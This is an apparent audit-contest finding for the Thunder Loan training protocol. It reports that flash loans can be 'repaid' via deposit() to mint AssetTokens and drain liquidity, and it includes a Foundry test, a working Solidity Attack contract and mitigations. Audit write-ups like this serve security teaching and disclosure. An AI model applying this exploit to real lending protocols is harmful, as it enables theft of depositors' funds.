Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Flash loan can be 'repaid' via deposit(), letting the borrower mint AssetTokens and steal the loaned funds

Root + Impact

flashloan() verifies repayment only by checking that the AssetToken’s token balance returned to startingBalance + fee. It never requires the funds to come back through repay(). A borrower can instead call deposit() inside the callback, which both satisfies the balance check AND mints AssetTokens to them — those AssetTokens are then redeemed to withdraw the loaned funds, draining liquidity providers.

Description

In flashloan() the only repayment check is a raw balance comparison:

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);

Nothing forces repayment through repay(). A malicious IFlashLoanReceiver implements executeOperation to call thunderLoan.deposit(token, amount + fee) instead of repay. deposit:

  • transfers the tokens into the AssetToken, so endingBalance passes the check, and

  • mints mintAmount AssetTokens to the attacker.

After the flash loan returns, the attacker calls redeem() and pulls the underlying back out, keeping the borrowed amount (minus dust) while LPs are drained.

Risk

Likelihood: High

  • Any address can take a flash loan and supply an attacker-controlled receiver; there are no special preconditions.

Impact: High

  • Direct theft of pooled liquidity: the borrower keeps the loan and LPs can no longer redeem their principal.

Proof of Concept

  1. Attacker deploys a receiver whose executeOperation approves ThunderLoan and calls deposit(token, amount + fee) instead of repay.

  2. Attacker calls flashloan(receiver, token, amount, ""). The endingBalance >= startingBalance + fee check passes because deposit moved the tokens in; the attacker is minted AssetTokens.

  3. In a later call the attacker calls redeem(token, type(uint256).max) and withdraws the underlying — net gain ≈ the borrowed amount.

Recommended Mitigation

Do not accept deposit() as repayment. Block deposit/redeem while a flash loan for that token is in progress, or track repayment through repay() only:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 19 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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